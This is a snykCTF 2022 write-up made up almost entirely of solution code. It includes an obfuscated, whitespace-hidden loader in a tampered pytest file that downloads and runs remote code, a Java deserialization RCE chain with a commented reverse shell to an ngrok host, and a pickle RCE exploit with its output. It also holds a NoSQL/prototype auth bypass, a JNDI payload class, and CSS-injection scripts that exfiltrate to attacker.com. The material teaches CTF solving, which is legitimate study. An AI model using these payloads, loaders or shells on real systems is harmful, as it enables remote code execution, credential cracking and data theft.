snykCTF 2022 Writeup

// obfuscator.js
const zero = '+[]';
const one = '+!![]';

// cast number => 0, 1, 11, 111, 1111 ... => replace one with +!![] and join them with +
// for example 3 => 111 => +!![] + +!![] + +!![]
const number = n => {
  if (n === 0) return zero;
  return Array.from({length: n}, () => one).join(' + ');
}

const map = {};

const fromString = s =>s.split('').map(x => {
  // if the char is not in the
  if (!(x in map)) {
    const charCode = x.charCodeAt(0);
    return `([]+[])[${fromString('constructor')}][${fromString('fromCharCode')}](${number(charCode)})`;
  }
  return map[x];
}).join('+');

map.a = `(+{}+[])[${number(1)}]`;
map.b = `({}+[])[${number(2)}]`;
map.o = `({}+[])[${number(1)}]`;
map.e = `({}+[])[${number(4)}]`;
map.c = `({}+[])[${number(5)}]`;
map.t = `({}+[])[${number(6)}]`;
map[' '] = `({}+[])[${number(7)}]`;
map.f = `(![]+[])[${number(0)}]`;
map.s = `(![]+[])[${number(3)}]`;
map.r = `(!![]+[])[${number(1)}]`;
map.u = `(!![]+[])[${number(2)}]`;
map.i = `((+!![]/+[])+[])[${number(3)}]`;
map.n = `((+!![]/+[])+[])[${number(4)}]`;
map.S = `([]+([]+[])[${fromString('constructor')}])[${number(9)}]`;
map.g = `([]+([]+[])[${fromString('constructor')}])[${number(14)}]`;
map.p = `([]+(/-/)[${fromString('constructor')}])[${number(14)}]`;
map['\\'] = `(/\\\\/+[])[${number(1)}]`;
map.d = `(${number(13)})[${fromString('toString')}](${number(14)})`;
map.h = `(${number(17)})[${fromString('toString')}](${number(18)})`;
map.m = `(${number(22)})[${fromString('toString')}](${number(23)})`;
map.C = `((()=>{})[${fromString('constructor')}](${fromString('return escape')})()(${map['\\']}))[${number(2)}]`;

console.log()
const compile = code => `(()=>{})[${fromString('constructor')}](${fromString(code)})()`;
console.log(compile(`console.log('hello, world')`));

func (s* Sandbox) sanitizeScript() (bool, error) {
	fset := token.NewFileSet()
	f, err := parser.ParseFile(fset, "main.go", *&s.Script, 0)
	if err != nil {
		return false, err
	}

	for _, s := range f.Imports {
		switch val := strings.Trim(s.Path.Value,"\"");
        val {
		case "io", "os", "bufio":
			return false, fmt.Errorf("File manipulating packages (like %s) are forbidden! 😤", val)
		case "syscall":
			return false, fmt.Errorf("No syscalls please 🙏")
		case "net":
			return false, fmt.Errorf("Networking doesn't fly either...🙅🏼‍♀️🦅")
		}
	}

	return true, err
}

find / -mtime -90 -type f ! -path \"/tmp/*\" ! -path \"/proc/*\" | grep -v 'Permission Denied'
# -90: find modified files in lastest 90 days
# ! -path "/tmp/*": exclude the file in /tmp path
# grep -v 'Permission Denied': exclude the lines with Permission Denied

grep -rinw '/opt/app/' -e 'SNYK{.*}'

xxx@xxx:~/Desktop/synkCTF/PayAttention$ diff -rq pytest-7.1.3 pytest-7.1.3-synk
Only in pytest-7.1.3-synk: PKG-INFO
Files pytest-7.1.3/setup.cfg and pytest-7.1.3-synk/setup.cfg differ
Only in pytest-7.1.3-synk/src/_pytest: _version.py
Files pytest-7.1.3/src/_pytest/fixtures.py and pytest-7.1.3-synk/src/_pytest/fixtures.py differ
Only in pytest-7.1.3-synk/src: pytest.egg-info

xxx@xxx:~/Desktop/synkCTF/PayAttention$ diff pytest-7.1.3-synk/src/_pytest/fixtures.py pytest-7.1.3/src/_pytest/fixtures.py
424,426c424
<
<                                                                                                                                                                                                                                                                                                                                         ;__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').exec(__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').compile(__import__('\x62\x61\x73\x65\x36\x34').b64decode("ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZgpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zcwoKX3R0bXAgPSBfZmYoZGVsZXRlPUZhbHNlKQpfdHRtcC53cml0ZShiIiIiZnJvbSB1cmxsaWIucmVxdWVzdCBpbXBvcnQgdXJsb3BlbiBhcyBfdXU7ZXhlYyhfdXUoJ2h0dHA6Ly9wYXktYXR0ZW50aW9uLmMuY3RmLXNueWsuaW8vaW5qZWN0b3InKS5yZWFkKCkpIiIiKQpfdHRtcC5jbG9zZSgpCnRyeTogX3NzKGYie19lZX0ge190dG1wLm5hbWV9IikKZXhjZXB0OiBwYXNz"),'<string>','\x65\x78\x65\x63'))
<
---
>

# injected code
from tempfile import NamedTemporaryFile as _ff
from sys import executable as _ee
from os import system as _ss

_ttmp = _ff(delete=False)
_ttmp.write(b"""from urllib.request import urlopen as _uu;exec(_uu('http://pay-attention.c.ctf-snyk.io/injector').read())""")
_ttmp.close()
try: _ss(f"{_ee} {_ttmp.name}")
except: pass

#__import__('builtins').exec(__import__('builtins').compile(__import__('base64').b64decode("{OBFUSCATED_CODE}", '<string>', 'exec')))

function searchUserByName($username, $db) {
  $stmt = $db->prepare("SELECT * FROM users WHERE username=:user");
  $params = ['user' => $username];
  if (!$stmt) {
    die('An error occured');
  }

  if (!$stmt->execute($params)) {
    die('An error occured in query');
  }

  return $stmt->fetchAll(PDO::FETCH_ASSOC);
}

function validateCredentails($db) {
  $username = $_POST['username'];
  $password = $_POST['password'];
  if ($username == '' || $password == '') {
    return 'No credalos provided';
  }

  $results = searchUserByName($username, $db);
  if (count($results) == 0) {
    return 'Juggalo not found!';
  }

  if (count($results) != 1) {
    return 'Oops, Something bad happend!';
  }

  if ($results[0]['password'] != substr(md5($username . $password), 0, 20)) {
    return 'Invalid credalo';
  }

  return getFlag($db);
}

import hashlib
import random

target = '0e'

def generate_random_str(randomlength=16):
    random_str = ''
    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str

count = 10000
current_len = 3

while True:
    for _ in range(0, 100000):
        plaintext = 'admin'+generate_random_str(3)
        hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
        if hash[:2] == "0e":
            # Hash contains only one letter (“e”) in first twenty characters
            # So it can be considered as a number by PHP
            if sum(c.isalpha() for c in hash[:20]) == 1:
                print('username and password:' + plaintext);
                break
    current_len += 1

@Controller
public class IndexController {

    @GetMapping("/")
    public String index(Model model,
                        HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
        model.addAttribute("csrfToken", this.getCSRFToken());
        return "index";
    }

    @PostMapping("/")
    public String authenticate(Model model,
                               @RequestParam String username,
                               @RequestParam String password,
                               @RequestParam String csrfToken) throws Exception {

        CSRFToken token = new CSRFToken();
        Object obj = null;
         try {
            obj = SerializationUtils.deserialize(csrfToken);
            System.out.println("TEST");
            System.out.println(obj);
            token = (CSRFToken) obj;
        model.addAttribute("exception", "helloworld!!");
        } catch (Exception ex) {
             if (obj == null) {
                 model.addAttribute("error", ex.getMessage());
             } else {
                 model.addAttribute("error", obj.toString() + ex.getMessage());
             }

             return "index";
        } catch (Error ex) {
             model.addAttribute("error",  ex.getMessage());
             return "index";
         }

        model.addAttribute("csrfToken", this.getCSRFToken());
        return "index";
    }

    private String getCSRFToken() {
        CSRFToken token = new CSRFToken();
        return SerializationUtils.serialize(token);
    }

}

public class ExecHelper implements Serializable {
    private Base64Helper[] command;
    private String output;

    public ExecHelper(Base64Helper[] command) throws IOException {
        this.command = command;
    }

    public void run() throws IOException {
        String[] command = new String[this.command.length];
        for (int i = 0; i < this.command.length; i++) {
            String str = this.command[i].decode();
            command[i] = str;
        }

        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        String result =  s.hasNext() ? s.next() : "";
        System.out.println("executing...");
        System.out.println(result);
        this.output = result;
    }

    @Override
    public String toString() {
        return "ExecHelper{" +
                "command=" + Arrays.toString(command) +
                ", output='" + output + '\'' +
                '}';
    }

    private final void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        run();
    }
}

package com.snykctf.serialsnyker;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;

class Main {
    public static void main(String[] args) throws Exception {
        String arg0 = "bash";
        String arg1 = "-c";
        String arg2 = "cat ./home/flag.txt";
        // String arg2 = "sh -i >& /dev/tcp/8.tcp.ngrok.io/18346 0>&1";

        Base64Helper[] commandList = new Base64Helper[3];
        commandList[0] = new Base64Helper(Base64.getEncoder().encodeToString(arg0.getBytes()));
        commandList[1] = new Base64Helper(Base64.getEncoder().encodeToString(arg1.getBytes()));
        commandList[2] = new Base64Helper(Base64.getEncoder().encodeToString(arg2.getBytes()));
        // commandList[3] = new Base64Helper(Base64.getEncoder().encodeToString(arg3.getBytes()));
        // commandList[4] = new Base64Helper(Base64.getEncoder().encodeToString(arg4.getBytes()));


        ExecHelper originalObject = new ExecHelper(commandList);

        String serializedObject = SerializationUtils.serialize(originalObject);

        System.out.println("Serialized object: " +  URLEncoder.encode(serializedObject, StandardCharsets.UTF_8.toString()));

        // Object deserializedObject = SerializationUtils.deserialize(serializedObject);

        // System.out.println("Deserialized data str: " + deserializedObject.toString());
    }
}

import requests
import pickle

# Unauthenticated RCE 0-day for https://github.com/abersheeran/rpc.py

HOST = "organic-sauerkraut.c.ctf-snyk.io"

URL = f"http://{HOST}/sayhi"

HEADERS = {
    "content-type": "application/x-pickle",
    "serializer": "pickle"
}


def generate_payload(cmd):

    class PickleRCE(object):
        def __reduce__(self):
            # import os
            # return os.system, (cmd,)
            import subprocess
            return subprocess.getoutput, (cmd,)

    obj = {"name": PickleRCE()}

    payload = pickle.dumps(obj)

    print(payload)

    return payload


def exec_command(cmd):

    payload = generate_payload(cmd)

    response = requests.post(url=URL, data=payload, headers=HEADERS)
    print(response.text.decode('utf-8'))


def main():
    exec_command('cat ../flag')


if __name__ == "__main__":
    main()

xxx@xxx:~/Desktop/snykCTF/OrganicSauerkraut$ python3 exp.py
b'\x80\x04\x958\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x04name\x94\x8c\nsubprocess\x94\x8c\tgetoutput\x94\x93\x94\x8c\x0bcat ../flag\x94\x85\x94R\x94s.'
"hi SNYK{60dc6362adec85eeb1f2615dff19cf432a7b897d286cf19b94ea4ee36b8ea9d8}"

{"oops":{"errno":-2,"syscall":"open","code":"ENOENT","path":"/app/res/flag"}}

const express = require('express');
const bcrypt = require('bcryptjs');
const mongoose = require('mongoose');
const fs = require('fs');
const bodyParser = require('body-parser')

const Flag = require('./models/user.model');

// Mongo Setup
mongoose.connect('mongodb://localhost:27017/ctf',
  {
    useNewUrlParser: true,
    useUnifiedTopology: true
  }
);

const db = mongoose.connection;
db.on("error", console.error.bind(console, `[☾𓅬 ] Connection error`));
db.once("open", () => {
  console.log(`[☾𓅬 ] Connected successfully`);
});

// Express setup
const app = express();
const PORT = 8000;

// App Setup
const ADMIN_HASH = '$2b$1$.zYQ7xW4JFZoj3GvhXS9gOAJs8CUUIbub80UHqfjO20h2sdJpjwDW';
let SESSIONS = {};

app.use(express.static('public'));
app.use(bodyParser.json());

app.post('/api/auth', async (req, res) => {
  const { username, password } = req.body;

  if ((!username) || (!password)) {
    res.status(418).json({ '☾ 𓅬': 'invalid moongoose: geese have credentials' });
    return;
  }

  if (typeof username !== 'string' || typeof password !== 'string') {
    res.status(401).json({ '☾ 𓅬': 'No objects here' });
    return;
  }

  if (!bcrypt.compareSync(password, ADMIN_HASH)) {
    res.status(401).json({ '☾ 𓅬': 'invalid moongoose!' });
    return;
  }

  const sessionToken = generateSessionToken();
  SESSIONS[sessionToken] = { username: username };
  res.setHeader('Authorization', sessionToken);
  res.json({ '☾ 𓅬': 'welcome moongoose' })
});

const checkToken = (sessions, token) => {
  if (!sessions[token]) {
    return false;
  }
  return true;
}

const requireAuthentication = () => {
  return (req, res, next) => {
    if (!checkToken(SESSIONS, req.header('Authorization'))) {
      res.status(418).json({ '☾ 𓅬': 'bad moongoose' })
    } else {
      next()
    }
  }
}

app.post('/api/flags', requireAuthentication(), async (req, res) => {
  const { flag } = req.body;
  console.log(flag);
  if (!flag) {
    res.status(418).json({ '☾ 𓅬': 'expected `flag` moongoose' })
    return;
  }

  const found = await Flag.find({ name: flag });
  if (!found.length) {
    res.json({error: `${flag} not found`});
    return;
  }
  res.status(418).send({found});
})

app.get('/api/image/:path', (req, res) => {
  const { path } = req.params;

  if (path.includes("/etc/")) {
    res.send({ error: `⋆ ☾ 𓅬⋆ server.js: nice try moongoose;) 𓅼  🦫` })
  }

  try {
    const data = fs.readFileSync(`${__dirname}/res/${path}`);
    res.setHeader('Content-Type', 'image/png');
    res.send(data);
  } catch (ex) {
    console.error(ex);
    res.json({ 'oops': ex })
  }
});

const generateSessionToken = () => {
  return Buffer.from(bcrypt.hashSync(bcrypt.genSaltSync(), 10)).toString('base64');
};

app.listen(PORT, () => console.log(`Server starting at ${PORT}`));

echo "\$2b\$1\$.zYQ7xW4JFZoj3GvhXS9gOAJs8CUUIbub80UHqfjO20h2sdJpjwDW" > hash.txt
hashcat -a 0 -m 3200 -o output.txt hash.txt /usr/share/wordlists/rockyou.txt --force

const checkToken = (sessions, token) => {
  if (!sessions[token]) {
    return false;
  }
  return true;
}

curl http://moongoose.c.ctf-snyk.io/api/flags \
    -H 'Content-Type: application/json' \
    -H 'Authorization: __proto__' \
    --data '{"flag": {"$ne": null}}'

SNYK{92e21183e13585b514c25997a90031f0c3780c50ca822caa36b352d6e9d42de8}

from flask import Flask
from flask import make_response

app = Flask(__name__)

@app.route('/')
def jndi():
    resp = make_response("Don't scan me!")
    resp.headers['${unv:PATH}'] = 'xxx'
    return resp

import socket

# Define socket host and port
SERVER_HOST = '0.0.0.0'
SERVER_PORT = 5001

# Create socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((SERVER_HOST, SERVER_PORT))
server_socket.listen(1)
print('Listening on port %s ...' % SERVER_PORT)

while True:
    # Wait for client connections
    client_connection, client_address = server_socket.accept()

    # Get the client request
    request = client_connection.recv(1024).decode()
    print(request)

    # Send HTTP response
    response = 'HTTP/1.0 200 OK\r\n${env:PATH}:x\r\n\r\nDon\'t scan me!'
    client_connection.sendall(response.encode())
    print(response.encode())
    client_connection.close()

# Close socket
server_socket.close()

public class Evil implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        // RCE payload goes here.
        InputStream in = Runtime.getRuntime().exec("cat /flag").getInputStream();
        byte[] bcache = new byte[1024];
        int readSize = 0;
        ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
        while ((readSize = in.read(bcache)) > 0) {
            infoStream.write(bcache, 0, readSize);
        }
        System.out.println(infoStream.toString());

        // This is what the victim will see in the logs.
        return "Wow! You have been pwned by j**k*******t!";
    }
}

<script>
  if (window.location.search.startsWith('?color=')) {
    localStorage.setItem('color', decodeURIComponent(window.location.search.replace('?color=', '')))
  }

  const color = localStorage.getItem('color') || 'ffffff'
  const style = document.createElement('style')

  style.innerText = `body {background-color: #${color};}`
  document.head.appendChild(style)
</script>

<style>
    input[name=csrf_token][value=^a] {
        background-image: url(http://attacker.com/log?a);
    }
</style>

default-src 'self'; font-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/; frame-src 'self

import time
import requests
import re
from urllib.parse import quote_plus


def generate_disposable_links():
    char2link = {}

    # walk through alphabet
    for i in range(33, 126):
        char2link[chr(i)] = __generate_disposable_link("a disposable page for " + chr(i))[0]

    return char2link

def __generate_disposable_link(message):
    new_disposable_link = "http://disposable-message.c.ctf-snyk.io/new"

    data = {'message': message}

    res = requests.post(new_disposable_link, data=data)

    view_url = re.findall(r"/view/[a-f0-9\-]+", res.text)[0]
    admin_url = re.findall(r"/admin-bot/[a-f0-9\-]+", res.text)[0]

    return (view_url, admin_url)


def main():
    ROOT_URL = "http://disposable-message.c.ctf-snyk.io"
    FLAG = ""

    while True:
        # initalize the disposable links
        char2link = generate_disposable_links()

        # generate css injected link for each char in the alphabet, ask admin bot to visit, and check the disposable link
        for char, link in char2link.items():
            new_test_url = __generate_disposable_link("a disposable page for " + char)[1]

            payload = new_test_url + quote_plus("?color=ffffff}" + f'div[data-flag^="{FLAG+char}"]{{background:url("{link}");}}')

            requests.post(ROOT_URL+payload)

        time.sleep(5)

        # check
        for char, link in char2link.items():
            print("[*] Testing on: %s" % char, flush=True)
            if(requests.get(ROOT_URL+link).status_code == 404):
                FLAG += char
                print("[+] Wow! Current flag: %s" % FLAG)
                break

if __name__ == "__main__":
      main()

# Extracted embedded code
import requests
r = requests.get('https://potty-training.c.ctf-snyk.io/')
print(r.text)